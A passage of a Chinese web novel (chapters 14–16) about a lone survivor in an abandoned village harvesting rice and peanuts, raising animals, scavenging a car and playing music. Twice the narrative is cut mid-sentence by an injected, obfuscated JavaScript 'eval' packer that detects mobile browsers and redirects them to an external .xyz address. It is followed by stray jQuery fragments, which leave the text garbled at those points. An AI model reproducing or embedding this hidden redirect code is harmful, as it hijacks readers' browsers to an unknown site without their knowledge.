干体力活消耗体力但没想到这么消耗体力,早上吃了一大碗面,一小时过去就跟没吃一样饿得要死。 一整天下来,风栖就割了两筐稻子,至于被踩坏的、没注意手劲儿稻穗掉到水田里的更多。 她穿了长袖长裤和雨靴,也戴了手套,头上同样戴了面罩和帽子,遮得严严实实了,可身上还是刺刺的疼,不知道是被什么扎着了还是被蚊子咬了。回家脱了衣服一看,到处都是红疹子和小红点,手掌心也磨出了水泡,很疼。 风栖拿针挨个挑破了,把里面的水挤出来,再涂点碘伏,贴上创口贴。 她当然知道水泡不要轻易挑破,要等它慢慢好。 但是,一颗水泡,就像一个大痘痘、一杯插上吸管的奶茶、一包拆封的薯片……真的有人能忍住不碰吗? 14.第 14 章 熬过前几天,后面的日子就没那么煎熬了。风栖现在下地好歹也能连着弯半小时腰,也不会累到几乎站不起来了。 她无比庆幸,在当代年轻人那么多种亚健康疾病中,自己没有得腰椎间盘突出。 虽然我有点散光、鼻炎、还有过敏性皮肤病,一到换季就疯狂打喷嚏脱皮,但是我腰好啊!能干活! 一捆捆稻谷倒在院子里,金灿灿的,散发出热腾腾的阳光的香气。 “千金不换啊!”风栖扑进黄金池中,泪流满面,只觉得这些天的劳累都值了。 然后她就真哭了。 被扎的。 “好痛嗷嗷嗷——”风栖哭着拿针给自己挑刺,再也不敢往稻子上扑。 村里没有收割机,有脱粒机,但没电,所以相当于没有。 不过风栖找到了老式脱粒机——石碾,在村尾一个老人家中。 风栖对那个老人没什么印象,也不知道他叫什么,可能姓吴?还是姓伍来着?反正他们村子里的姓都还挺特殊的。 风栖见过几次那个老人,瘦巴巴的,总是戴个鸭舌帽,驼着背。她还记得那个老人喜欢用老式的烟杆枪,买了散装的烟草,装进细长微沉的铜烟枪里,坐在人群离得远远的角落里吞云吐雾,听其他人聊天。 若不是在堂屋上摆着的一张照片,风栖还不知道这间屋子是他的。 她擦了擦照片,来到院里,围着石碾发愁。 有石碾总比没有好,要是还有头驴就更棒了。 风栖试了试,石碾还能用,正高兴呢,忽然反应过来,石碾在老人家,但是稻谷在自己家啊! 已知两家相隔约三公里,两方都很沉,搬不动,求问应该挪动哪一方? 风栖仰天长叹,还是选择把石碾带回去,一劳永逸。以后如果想喝个豆浆什么的也不用愁了。 本来想找个小推车把石碾推回家的,忽然想起来,村里有喜欢收废品的老人,他们家里有三轮车!她在找石碾的路上还见到了! 风栖按着记忆去找,果真在又一个没什么印象的同村人院子里看见了三轮车。更让她高兴的是,大概是因为停在自家院子的缘故,三轮车没上锁,可以直接骑走。 跟来的小狗们都机灵得很,第一条跳上去后,其他的狗子们纷纷跳上后座,安详蹲坐。 “我真服了你们这群傻狗,一个比一个懒,物似主人形吗?”风栖踩着三轮车晃悠悠往前骑,大声斥责,“我勤奋的时候你们怎么不学?嗯?是不喜欢吗?” “一个个的,不知道怎么为我创造效益,把家庭利益最大化,还坐上黄包车了?我养你们不是为了享福的。” 狗狗们听不懂,汪汪声此起彼伏,听起来还是很开心。 风栖忍不住笑,结果乐极生悲,没留神把手一歪,差点翻沟里,人和狗都赶在翻车前跳了出来。 好在旁边的水沟已经干了,车摔下去没弄脏,风栖扶着三轮爬起来,不知怎么的很想笑,继续往前骑。 过来小树林,两边就又是低矮平房。 如今过了那么多天,家家户户都飘出腐烂恶臭,蚊虫遍布,戴了头盔都能闻到臭味。风栖两条腿蹬得飞快,回到老人家中。 她自己都不知道是怎么把那一百来斤的石碾弄到三轮车上的。最后回到家,卸了石碾,累得一根手指头都不想动了,整个人都瘫在躺椅上,和狗子们一起呼哧呼哧喘气,脑子里冒出的念头就是还好搬运没砸到脚,不然得疼死。 “呜呜呜蛋黄我好饿,你能不能去生火做饭给我吃?我想吃番茄牛肉煲。” 蛋黄趴在躺椅边,吐着舌头散热,听不懂。 一旁猫猫狗狗们又在打架,还有两只猫试图跳进降温用的水缸里,被风栖眼疾手快拎走。 再怎么不情愿,第二天风栖还是满身膏药味儿爬起来给稻谷脱粒。 吸取教训,这回戴了手套,抓一把稻子在大桶内壁反复拍打,打得差不多了,扒下没掉落的稻穗。稻子茎杆也就是稻草,同样没浪费,被一捆捆扎好,留着引火用。 听说稻草还可以取暖,不过风栖不缺取暖的物资,就只能拿来点火了。 村里有牛有猪,就是没有驴。风栖去投喂过。最后还是把猪都放了,就算想吃肉,她一个人也杀不了猪,又不想眼睁睁看着它们饿死,不如放走。 牛被她集体牵到附近人家里,几头牛里有公有母,风栖就等着能不能养只小牛犊。 也没拴着,反正隔的不远,每天去喂一次,试图培养感情,要是牛都跑了,那……也省得喂了。 风栖化身牛马,自己套了绳子拉磨转圈,没几圈就有点想吐。 后来风栖又嫌太无聊了,又给自己编了顶草帽,帽檐支根竹签,吊了包咪咪虾条在眼前晃悠。 别说,干活更有劲了,拉磨也更有趣了。 歇歇停停,转了几个小时,转的晕头转向,回头一看,桶里的稻米乱七八糟的,有许多压碎了,还有不少没脱壳完全,白色米粒夹在去了一半的稻壳里。院子里堆着更高的未处理的稻谷。 按照搜索的教程看,后续还要筛一筛,去除杂质,再脱谷几次。 “谁知盘中餐,粒粒皆辛苦。”风栖擦着汗,叹气,“这也太辛苦了。” 说句很俗的话,她觉得自己这辈子都不会浪费食物了。 就这么每天一点点忙,一直到七月,阳光晒得地面都反着白光,那些稻子才变成了有点儿泛黄的大米,储存在仓库里。 当晚风栖就用自己收割的大米煮饭吃。大约是心理作用,米饭格外香,风栖一粒都不舍得浪费,碗底残留的一点点也拿勺子刮干净了。 这些米在风栖眼里已经不是单纯的米饭了,是她这么多天的辛苦血汗啊! 收了稻米后,又要收花生。 根据搜索教程,稻子和花生成熟的时间差不多。村里有花生地,虽然风栖不认识是谁种的,但不妨碍她骑着三轮车去收。 天才蒙蒙亮,此时燥热暑气还没蒸腾起来,反而泛着湿漉漉的露水潮气。风栖从三轮车上跳下来,架好车,车轮底下嵌几块石头垫着,再把狗们都从三轮车后赶下来,让它们去玩。风栖自个儿也把背篓放一边,抓紧时间扛着锄头下地。 即便周围都有狗狗们预警,风栖也不敢放松警惕,她喜欢随身带个小的消防斧别在后腰,戴上草帽穿好雨靴,拎着锄头进地里,生疏地扒开藤蔓,边锄边松土,确定土松了,提着细嫩的一把茎慢慢往上扯,要是感觉土不够松就再锄几下。 一把花生就这么被提了出来,还结着大片土块。 才摘了十几把,风栖就开始掉汗了,早晨的空气再怎么凉快,那也是大夏天。风栖抹把汗,抓着花生叶子抖,抖落掉大块的泥土,上面的叶子也全部拔掉,丢进箩筐里。 相比于之前的收稻子,收花生算是轻松多了,花生地也不大。风栖心里憋足了劲,准备趁阳光刺晒前解决,然后回家休息。 但七月份艳阳天,太阳比假期来的还准时,没几个小时太阳就大起来了,周边蝉鸣吵的人心烦, 风栖抖着衣服试图带来点风,她浑身都湿透了,好在头发都剃光了,如今只长出点毛刺,可还是热。眼看只剩一点点,实在不想留到以后,风栖咬咬牙,喝完最后一瓶可乐,继续干活。 满满两筐花生,被她连拖带拽拖到三轮车边,咬牙提起来倒进去。后边摘的花生实在没力气摘叶子去土了,回家再说吧。 “蛋黄!大黑!大灰灰……” “赶紧回来!回家!” 风栖叫了几声。 被点到名字的狗大多都从树林里蹿出来,嘴里或是咬了鸟或是叼着竹鼠兔子。风栖也没让它们上车,自己骑车三轮往回赶。 回到家,衣服脱下来能拧出水,风栖饿得厉害,脱了衣服也懒得穿,套了条大裤衩,像男人一样掏了个大凉薯去井边洗洗,洗干净后直接上嘴啃掉皮,大口大口吃起来。 两个拳头大的凉薯,三两口就吃完了。风栖又撑了伞到院子里。 鸡舍旁边架着小推车,小推车上放了桶水,那是早上出门前她放在院子里晒的一桶井水,邻居家院子没有养猫狗,她便放心地往水里加了桃子叶和花露水,又盖住一层纱布,以免蚊虫飞进去。 如今摸一摸,水晒得温热,和人的体温比微凉,却也没有到会让人着凉的地步。 风栖推着水到屋檐下阴影遮住的地方,回房拿毛巾沐浴露,幕天席地洗了个澡,把满身黏腻的汗渍和疲惫都冲洗了个干干净净。 洗到最后桶里剩了些水,拎着桶举过头顶,闭上眼睛从头淋到脚。 风栖抹把脸,畅快地笑起来,随便擦干后,又穿了一条新的大裤衩回屋。 穿过客厅,正经过全身镜,干脆停下来欣赏一番。 风栖发现自己黑了不少,一身晒成深褐色,脖子部分颜色更深,还有些发红起皮,可能是晒伤了。身板结实不少,一使劲儿上臂显露出肌肉线条来。 她站在镜子前显摆肌肉,又摸摸寸头,感觉自己简直帅炸。 收了稻米,收了花生。粮和油都不成问题。 有稻子,就不会挨饿。有花生,她就能榨油。 两件最大的事都解决了,好像心里最沉的大石头落地,风栖忽然安定下来,每天只管在家里吃吃喝喝,黄昏时捕鱼,到了日子就去各个仓库打扫一圈。 她的日子忽然清闲了下来。 风栖想了下,也可以解释成,容错率变高了。 不需要工作,不需要为了生计发愁,不用应对人际关系。只需要克服偶尔冒出来的孤单,除此以外,她没有任何非做不可的事了。像打扫仓库这件事很重要,可就算忘了一两次也没什么大不了。 风栖又开始往外跑。 这次她巡逻的范围更大了一圈,地图新增了一张,她发现了板栗树、柿子树、桃树、苹果树等等。 风栖掰着手指算,发现自己一年四季都能有水果吃。当初远离城市回到乡下的决定果然是对的。 她还发现了两棵无患子树,在一户人家附近,一棵在院墙内,一棵在墙外。墙内那株低矮些,墙外那颗高耸入云,目测得有个十几米。 风栖原本也不认识无患果树,在她看来树都长得差不多。但她认得这种果子,以前去更南边的姑姑家玩时,吃过饭后一家人散步,姑姑就捡了几颗橙黄色的果子给她,透着点香,像晒干的龙眼,捏着有点韧。 在她试图剥壳塞进嘴巴前,姑姑告诉她这是肥皂果,可以拿来洗澡洗头,不能吃。风栖回家试了试,果然洗出了点泡沫。 这次能发现无患果树,真的让她很惊喜。一高兴,风栖就摘了一小筐回家。拿先几颗在手里搓洗,相当于做了个皮试,确定不会过敏后,晚上洗澡也不用沐浴露了,直接用无患果。 本来风栖都准备好了,沐浴露洗衣液之类的洗涤剂过期后,自己可以做肥皂。只要有油,有煤或者草木灰就能做,不过既然有纯天然洗涤剂,不用白不用。 风栖还带回了许多苹果,不光自己吃,吃不完的削了剁碎喂鸡鸭。或是做成苹果干,削片后先蒸,再放在院里大太阳爆晒,上面还盖了层纱罩,以免被鸟和野猫叼走。 苹果籽都被她挑出来了,家不远处找片空地,把灌木丛都铲了,有些实在铲不掉,就点了火把,小心地把地面一层给烧干净。一层薄薄的草木灰覆盖在土地表面,籽全部种下去。 就这么一片百来平的空地,被她用同样的方法陆陆续续种了梨、荔枝、芒果、香瓜、杨梅等,都是村里缺少的水果。 风栖想得很开,她也不需要什么果树林,就一个人能吃多少果子?只要能有一棵果树就可以了,她还特地精细划分了九宫格区域,一号是苹果,二号是梨…… 今年没长出来没关系,反正摘果子的地方她记下了,明年接着开车过去摘。不管哪种水果,只要能长出一棵果树就够了。 “爽啊……”躺在一楼大厅的躺椅上,摇着扇子,嘬一口纯手打西瓜汁,看看书。风栖不由得感叹,这是什么神仙日子。 院里传来凶狠的狗叫。 风栖没管,探头看了眼,确定不会打出狗命就回屋了。 一群年轻的猫猫狗狗在一起,不打架才怪。 看了会书,风栖揉着脖子爬起来,去楼上把弓箭拿下来,练习射靶子。 练习用的还是她自制的竹箭,村里后山上竹子太多了,砍一根粗壮些的就能做几十根竹箭。 不过风栖总觉得竹子轻飘飘的,射出去时有些使不出力的飘忽感。 该用木头试试吗? 削木头比削竹子麻烦多了,砍树也比砍竹子麻烦。起码风栖完全不心疼竹子,浪费了就浪费了,木头她可舍不得用。 算了,还是就竹子吧。大不了练练准头,磨合一下。 射出几十发箭,风栖揉着手臂,慢慢把远处箭靶上扎着的和掉在地上的箭捡起来。 已经是按照教程进行的了,但……八环以内一支箭都没有。 风栖心虚地想:明天再练也一样。 不如考虑下今天吃什么。 照旧先去菜地转了一圈,摘回几个西红柿,又去库房里摸了两颗蛋,回来时,风栖眼尖地看到鸡舍里不对劲。 她才喂过饲料,其他鸡都在食槽前吃,或是脖子一挺一挺地在地上走。有只母鸡却一直蹲在稻草窝里。 风栖涌出个喜悦的猜想,把手里头东西都放了,小心地打开鸡舍,猫着腰进去,先推了推母鸡的屁//股,让它挪了挪,再抱起来。 底下果然卧着三个蛋! 风栖顿时两眼放光,把母鸡放回去,美滋滋摸了摸母鸡脑袋,差点被啄也不介意。又猫着腰退出鸡舍,终于忍不住出声。 真好! 鸡生蛋,蛋生鸡,这何尝不是一种永动机。 秋天还没来,风栖已经感受到了丰收的喜悦。 吃过饭后,风栖闲着没事,看今天太阳不算烈,在院子里转悠。发现车脏兮兮的,轮胎里全是泥,车玻璃也溅满泥水,引擎盖上落满了灰。 这车好像开回来就没洗过?还经常开着它往林子里钻。有些地方的车漆都刮花了,就算是老板本人来了恐怕都认不出自己的爱车。 风栖莫名有点心虚,去院子里打了井水洗车。 边洗边碎碎念。 “这些日子辛苦你了,你的贡献呢,大家都看在眼里,待遇肯定会提的,放心哈。” “哎呀什么假期不假期,你看,我们这里这么忙,根本离不开你,这样吧,过阵子我招个新人来,你带带他,那就可以帮你分担了……放心,你的待遇肯定不会差。” 给老板的车画完大饼,风栖是真的决定再弄来一辆车了。 她早就有这个打算,但是被收稻子的事耽搁着,就一直没动。 第二天,风栖开回了第二辆车。 她想不出什么好办法,只能先开着车导航到最近一家4S店——二十来公里。 同所有建筑一样,曾经喧嚣鼎沸的店面被灰尘和不知名绿植覆盖,处处蛛网密布,角落里还有不知名的鸟雀白骨,小小一点,不知死了多久。 风栖破开大门,浮尘跟受惊了般腾起,飘飘荡荡,同时被惊走的还有一串飞鸟,风栖没看到影子,只听到了振翅声。 蛋黄朝里面汪汪叫几声,只有好奇,没有惊恐。风栖放心了些,把头盔的面罩盖严一点,踏入满是灰尘的地板。 买不起车,那我就抢。 风栖把能看到的柜子都打开了,有些打不开的就暴力砍开,果真找到了钥匙保管箱。不过她猜测能被自己轻易拿到手的不会是太好的车,风栖也没在意,车钥匙一个个试过去,挑了辆底盘高的蓝色别克打开。 大约是密封严实的缘故,车里没有多少灰,就是气味难闻了点,风栖就不急着上车,插上钥匙试了试,能开,没坏,便先打开窗户通风,自己在店里继续转转。 四处找,果真在店里找到了维修部,还找到了加油点,顺手牵羊推走两桶油放在后备箱,就连小推车也顺走了。 她还看到了充电桩。 风栖带了充电器,她有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857137|172690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激动地上去试了试。 ……呵呵,没电。 心情突然down 下来了呢。 风栖对天比个中指,磨磨牙。 如今生活大部分不便利都是因为没电。风栖也想过要不要弄个太阳能发电机,她教程也看了书也看了,最后不得不颓唐地承认,自己一个人装不了。 大学学的文科,初中那点物理知识早就忘了个精光。这也不是网购,商家会把所需要的工具零件按型号配置好,只要对着说明书组装,怎么着都差不离。 理论上,她知道要电板、要逆变器支架电线等等,可不同型号不同材质的那么多工具,她完全不懂,看不明白,摆在眼前都不知道是什么,把一根电线放在面前,她都分不清是铜的还是铝的,更不用说实际操作。 她考虑过先慢慢收集材料,再学习安装,然后她就发现自己不知道在哪才能找到具体对应材料,她去过工厂,面对满满当当的工具零件,直接打了退堂鼓。 她的动手能力仅限于别人准备好需要用的零件,她再拼装起来。就像一副拼图,慢慢拼,她总会拼好。 但如果几十副拼图打乱了放在面前,让她拼出其中一副…… 算了,就当自己是古代人吧。 好歹还有那么多物资呢,没电也不是大问题。 夏天炎热已经习惯了,南方哪有不热的,老房子盖的砖墙厚实,进去还算是凉快的。 冰箱也可以不需要,反正没有那么多肉储存。 以后充电宝用完了,她还可以看书,还可以找点别的事做。 “蛋黄,大灰灰,上来。” 车里气味散够了,风栖拉开车门上去,等两条狗你追我赶地跳上来,才发动汽车。 风栖一个人开不了两辆车,又不想舍弃任何一辆,就采用了个接力的笨办法。 来时她在后备箱放了辆自行车,两辆车交替着开,开出两公里就停下,骑车去另一辆的位置。 就这么交替地走走停停,无意间望到一家店,风栖停了下来。 “蛋黄,大灰灰,我们进去看看。” 两条狗跟在她脚边,蛋黄熟络地在她暴力破门时后退开,还顺便把大灰灰也拽后退几步。 玻璃橱窗哗啦啦碎开,风栖踩着碎片、用斧子拨开蛛网,小心地进去。 可以看出来,这家琴行老板装修品味很好,风格低调又不失华丽,风栖很喜欢里面一排像教堂里的彩色玻璃装饰画的窗子,画的不是宗教人物,而是阳光下弹奏各种乐器的少男少女们。 风栖忍不住掏出随身带的湿纸巾,擦干上面的灰。 阳光照进来,被分割成无数流转的彩色光影,很美。 风栖仍戴着头盔,穿着厚厚的白手套。 她很想摘了手套、脱了头盔,在这家琴行里转几圈,然后在钢琴面前坐下,弹一支曲子。 风栖小时候就很羡慕会乐器的孩子。但……家里只供她上学,父母虽愿意花钱让她上奥数补习或英语补习,想学多余的东西是不可能的。 等长大了,自己工作以后,风栖才报了成年人钢琴班,又报了吉他和笛子。 就和小时候不让吃零食,长大后忍不住买一大堆拼命吃似的。风栖那时想的很美好,她幻想过很多次自己演奏的场景。老师也夸过她的手,手掌大,手指长、有力,很适合学乐器。 工作以后,她才发现自己的想法有多么天真。 她赚的钱也不是买不起钢琴,普通钢琴三四万还是能拿下的。但钱总是存在卡里更安心,她不舍得花。这样一来,她只能周末去钢琴班上课练习。 然后公司经常派她出差,占用周末时间,这样一来,她连基本的每个月八节课都完成不了,导致基础一直很差。 她画了黑白钢琴键,摆在家里,初始还能每天假装真的弹琴练手势,后面也……渐渐忘了。 吉他和笛子好一些,风栖买得起普通的,可她每天上班都已经很疲倦了,回到家即便打起精神想练习,又怕吵到邻居,如果弹奏好听那还好些,就目前的初学者水平,堪称呕哑嘲哳难为听,很难不被投诉。 回过神,风栖的手仍抚摸着玻璃装饰画,结实粗糙的白手套摩挲着画上弹钢琴的白裙少女身上。 风栖心里涌起一股冲动。 她拿着布,找到一瓶纯净水,打湿了,脱下手套,把放在橱窗口那架美丽的钢琴从里到外擦得干干净净。 大灰灰早就不知跑哪儿去了,风栖没管,蛋黄还在店里陪着她。 她摘了手套,把自己的手也擦干净,端端正正坐直了,手指按上黑白按键。 她弹了一首《虫儿飞》。 很简单的儿歌,也是她第一首能流利弹完整的曲子。 到现在她也只会那么几首曲子了,还有几首则是《小星星》《让我们荡起双桨》等。 弹了一遍又一遍,钢琴声回荡。弹到最后,风栖跟着唱起来,越来越大声。 “……虫儿飞,虫儿飞,你在思念谁?” 她抬头看到玻璃橱窗上自己稀薄的倒影,像在笑,又像在哭。 摸了摸眼睛,没流泪,应该是在笑吧? 大灰灰最后还是没有回来。 这条聪明的狗不知去哪了,蛋黄嗷嗷叫了几嗓子,也不见它出现。风栖没再管,她抱了好几把吉他、尤克里里放在车后座,直到塞满,又选了不少笛子、葫芦丝等小型乐器装上。 松香、吉他弦、护理油等养护工具也揣上了,还搜刮走了许多乐理书。 风栖重新恋恋不舍地看了眼那架钢琴,它是多么光滑、耀眼。 可惜,带不走。 这次出行回来,没有带上任何物资,风栖却觉得很满足。 夜里,写完日记后,风栖把吉他和尤克里里全部拿出来,挨个调音。 选了把最趁手的,41寸,和她以前买的那把很像,对着谱子弹吉他。 左手按,右手拨,以前练习久了,总会练到左手指尖皮磨厚一层。 教她的音乐老师,手掌心是柔软的,指尖却结了坚硬的茧。老师告诉她,什么时候她的手指上也长满茧子,什么时候她就能弹好了。 可惜,风栖练习懈怠,总是一段时间不练,又在某几天练个没完,所以手指头上的皮没厚几天就又变薄了,反反复复,茧子一直没能长起来。 如今,整只手都布满茧,按弦一点儿都不疼,更不像以前被磨得发红。 右手指甲光秃秃,拨弦带肉总有点难受,只得换了拨片,清脆地拨弄起来。 风栖久违地熬夜了。 准确来说是通宵。 她也没想到自己能弹一晚上吉他,弹到最后手指头还是按出一道道红色勒痕,发烫着,可她心里很快活。 天蒙蒙亮,风栖一点都不困,只觉得精神抖擞。下楼把鸡喂了,抄根竹竿驱鸭子到附近河边,狗也放出来几条跟着。 晨雾未散,河边生着一人多高的野草。风栖砍出一片空地,铺开野餐垫坐下。 狗子们四散开,或凝神屏息准备捉猎物,或四处嗅嗅探探。早起的猎物被狗吃,就铺开野餐垫的功夫,一条黑狗已经抓住了只胖田鼠,急不可耐叼在嘴里生怕其他狗来抢。 鸭子们浮在水面上连成串游动,身后曳开一串银闪闪涟漪。偶有几只一猛子扎下去,不知咬住了什么,长脖子嘎吱嘎吱仰几下往下咽。 风栖坐在野餐垫上,点着蚊香,她如今带了笛子来,昨晚已经贴好了笛膜。试吹几个音后,磕磕绊绊陆陆续续吹响着。 还是最简单的《小星星》 一曲终了,风栖不由得感叹:真难听啊! “蛋黄,你觉得我吹得好听吗?”风栖灵魂发问。 蛋黄正叼着条鱼,明明没看到它下水,也不知道从哪里叼来的,吃得正欢,小尾巴一甩一甩的,没空理她。 “没说话就是默认,你默认我吹得难听是不是?”风栖很大度,“无妨,能面刺寡人之过者,受上赏。” 蛋黄终于赏脸,抬头看她一眼,又吭哧吭哧低头吃鱼。 15.第 15 章 自从种下水果籽后,风栖每天一大早都跑去河边打水,再用小推车推到果树林。 虽然现在连根芽都没有,但不妨碍风栖把这片地命名为果树林,浇水施肥都殷勤,每天的鸡鸭排泄物连带自己的都运过来——她早就不用卫生间了,洗脸洗澡在井边,生理问题都解决在木桶里,每天装了水,第二天就可以倒掉。 担心太多了适得其反,就均匀分散到附近的菜地。 浇水施肥前摘点蔬菜果子什么的,忙完回家正好做饭。 风栖推着小推车进院门,先拿大扫帚把院子门口外一条小路的落叶什么都给扫了,两边长出来的灌木、小树伸出的枝桠,能折的就折,折不断的就砍,连树根一起砍倒。 砍做一堆后,摊在太阳底下晒。等水分晒干了,就拿去当柴烧。 老实说这东西没有煤炭好用,既不好引火,也不好续燃,就是剩下的灰有点用,都收集起来了。 这应该算是纯天然草木灰吧? 查了查,也能堆肥,风栖就大胆地用了。 人类消失后,绿色便无声的占据了领地,从砖缝里钻出、扎根,以最原始的力量夺回失地。每一天醒来,她昨天砍下的痕迹都会消失不少。 不过砍木头可比上班快乐多了,抄斧头砍下去那一下,非常解压,是以风栖每天都兴致勃勃,砍的木头越来越多。 “熊大熊二,光头强又来砍树啦!” 风栖放下斧子,忽然冒出句台词,被自己逗笑了,一个人嘎嘎傻乐半天。 树杈树枝和大片大片叶子砸在地上,尘沙飞溅,居然还有个鸟窝跟着掉下。风栖小心地捡起来,白手套拨开乱七八糟的叶子,见着窝里有四颗小小的鸟蛋。 她刚才没看见鸟窝,不过是看这棵树格外笔直,应该很好劈柴才动手,不然也不是非得砍这一棵树不可, 从那么高的地方砸下来,果然有一颗鸟蛋碎了,蛋清渗出来,浸湿了鸟巢里小小一块。 风栖捧着鸟窝看了看,还是放在另一棵矮树上。 她不缺这几颗小小的鸟蛋吃,孵化鸟蛋再养大这事儿也做不到。 看是看过几个手养小鸟的视频,看过才更确定自己做不到。 那就只能不管了。 人类消失后,她也好,这鸟也好,她养的猫猫狗狗也好,都该重新适应大自然制定的法则。 活不下去,那也没办法。 砍倒的树不算很粗,两手合拢勉强能握住,风栖抄着斧头慢慢削,把枝叶都削了丢一边,再换个小点的斧子把树干外的皮给削掉。 树皮上可能有虫卵一类的,风栖皮肤不太好,非常容易过敏,洗碗洗衣都得戴手套。 她还记得小时候和家里表兄弟姐妹们爬树。其他人都没什么事,自己回到家后手掌心起了一串红疹子,痒得不得了,挠多了就脱皮。后面涂了好多天药膏也不见根治,脱皮脱的指纹都没了,去办身份证都按不了指纹,最后几个手指头按下来,留的指纹都是小指头上的。 从那以后,风栖爬树必定戴手套。 现在她也是戴着手套,又裹层布,把树皮都削干净了,砍成一条条,捆好装进背篓,刚开始她还妄图背柴回家,结果背篓一架上去整个背都要死了,肩膀跟被砍了似的,赶紧放下来拼命揉肩膀甩手臂。 老实了,乖乖抱上小推车推回家。 两家的院子都挺大的,装了鸡舍猫舍狗舍后还能在里头跳广场舞。风栖起先把柴整齐堆在邻居家院子角落,靠近鸡舍和井边的地方,等码好了才想起来,下雨会把柴淋湿啊。 又辛辛苦苦搬进厨房。 说什么来什么,刚把最后几捆柴搬进厨房,“吧嗒”一声。第一滴雨落下,天开了个口子便收不住了,原本大晴天忽然大雨倾盆。 这场雨来的很急,很没道理,一点乌云不见,天空还是碧蓝的,却又十分畅快,汹涌直爽地驱走了燥热暑气,噼里啪啦好似急鼓,听得人心中爽快。 风栖把车从庇荫处开到宽敞露天地,让两辆车都好好洗了一次——前些日子洗车因为懒得一趟趟打水,没有洗太干净。 风刮得急,撑在头顶也没用,雨珠串斜斜着全砸在身上。风栖干脆伞也不撑了,湿漉漉跑回家,就这么短短几十米雨已经把她整个人浇透了,风栖没急着进大堂,脱了衣服在大雨里洗了个天浴。 她觉得自己简直是脑子进水了,偏偏又畅快地想大叫几声——那是短暂摆脱驯化,重尝原始野性的颤栗滋味。 中二时期她也有过故意不打伞雨中漫步的黑历史,几个小姐妹一块儿雨中行走,还要悲伤望天,仿佛偶像剧里悲情的女主角团。 类似的情境,心境却大不相同。起码风栖脑子里还想着有这么一场雨在,她可以两天都不用去浇菜,可以偷懒了哦耶。 怕着凉,最后还是乖乖地重新泡了个热水澡,泡得手指头都起白皱了。小寸头洗着特方便,都不必吹,毛巾擦擦就干了。风栖神清气爽地穿好衣服,从一个原始人重新变回了现代正常普通女性。 昨天摘回来的西瓜还剩一个,本来打算今天吊进井里冰一冰,中午再吃。突如其来的大雨给大火炉降了温,风栖就省得再把西瓜冻一冻了。 顶楼阳台门打开,竹椅搬到推拉门口,再拖来个小桌。西瓜、桃子、苹果切块装盆,兑上雪碧,鲜红和雪白的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863896|172690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果切一块块滋滋冒小气泡。风栖舀两勺进小碗,捧着舒舒服服地靠在竹躺椅上,泥土与草木微腥又湿润的气息和西瓜的清甜混在一起。 真好闻! 风栖吸了一大口,叉一签子西瓜块送进嘴,只感觉整个夏天的暑气都被这场雨、还有碗里的西瓜给冲散了。 从高处往下看,多数猫都进屋避雨了,院子里只有几条傻狗闹得欢腾,狗头狂摇泥点子乱甩。一条小黑狗不知是喜欢原地打转还是智商不足,追着自己尾巴转圈,咬不到尾巴就恼羞成怒般试图越狱,但它根本跳不过两米多高的院墙。 然后它就继续追逐自己的尾巴了,像个自转的陀螺。 风栖看的直摇头,心道还好自己没有在一楼吃瓜,否则凭这智商可能会被传染。 至于自己刚刚雨中洗澡的行为—— 那叫释放天性,适度解压,回归大自然。 和追着自己尾巴咬的傻狗怎么可能一样? 雨下了一天一夜。 风栖一直没出去,猫狗们也基本没往外跑,她不得不重新用上猫砂,里边还掺杂了三分之一草木灰和四分之一煤渣。 这是她新研制的猫狗一体砂,草木灰挺吸味,又干净,粘在毛上滚两圈就没了。再有风栖烧柴时大多不能全部烧透,说是草木灰,用草木渣形容更贴切。 至于粉尘问题容易引起刺激什么的…… 风栖觉得自己还是挺残酷的。 她一开始就没有把这些猫狗当宠物养,也没有秉持着“养了就要负责”的态度。她更像是把大自然的一部分生物“圈”在自己家里,只是需要它们一点警戒能力和捉鸟、捉老鼠的能力而已。 风栖考虑过自己和这些猫狗们的关系,与其说饲养,不如说是合作。 她提供安全的住处,它们也为她提供安全的住处。 仅此而已。 几十条猫狗的产屎量堪称恐怖,风栖戴了口罩也被熏得上头,匆匆扎好塑料袋,沉甸甸一大包先搁在屋檐下,等雨停了再出去扔。 转了两圈,看有些毛孩子抖着水,可怜地哆嗦。 风栖从厨房搬来一捆柴,用砖头临时搭了个四四方方的小炉子,在里头点着火。 火苗腾地跳起来,幽暗宽敞的大厅笼上层暖光,风栖的高大影子在天花板上狰狞地晃悠。 “小的们,过来烤火。”风栖招招手。 不必她说,大家都围过来了。 围在火边,抖毛、甩脖子、舔爪、打架。有些犯蠢地想跳进去,试探地伸了爪子,凑近到一定距离忽然反应过来惊恐弹开,心有余悸地打量爪子。 “好蠢……”风栖吐槽。 16.第 16 章 大雨好不容易停了,天空反而较降雨时更阴,乌隆隆漆黑的云向下压,湿烈烈的风飒飒作声,叫风栖想到一句诗:山雨欲来风满楼。 一连几天都是这样,好似下一刻就要大雨倾盆,却又没掉一滴雨珠子。风栖很有经验,知道这就像一个人在慢慢积攒怒火,只待个一个爆发时机。是以风栖没敢出远门,只在家附近转转,摘点果子,砍些柴,或是窝在房间里看书,看累了,就起来练习射靶子,或是到楼顶弹吉他。 老天爷摆脸色摆了三四天,终于在一天夜里大发雷霆。惊雷阵阵,闪电反复撕裂黑幕,致使这一片天地在昼夜中交替轮回。 风栖并不害怕,只觉得宁静,雷鸣越烈,骨子里越隐隐兴奋,实在睡不着,披衣坐起来,窗户打开一条小缝,让暴风雨得以寻着间隙灌入房间。 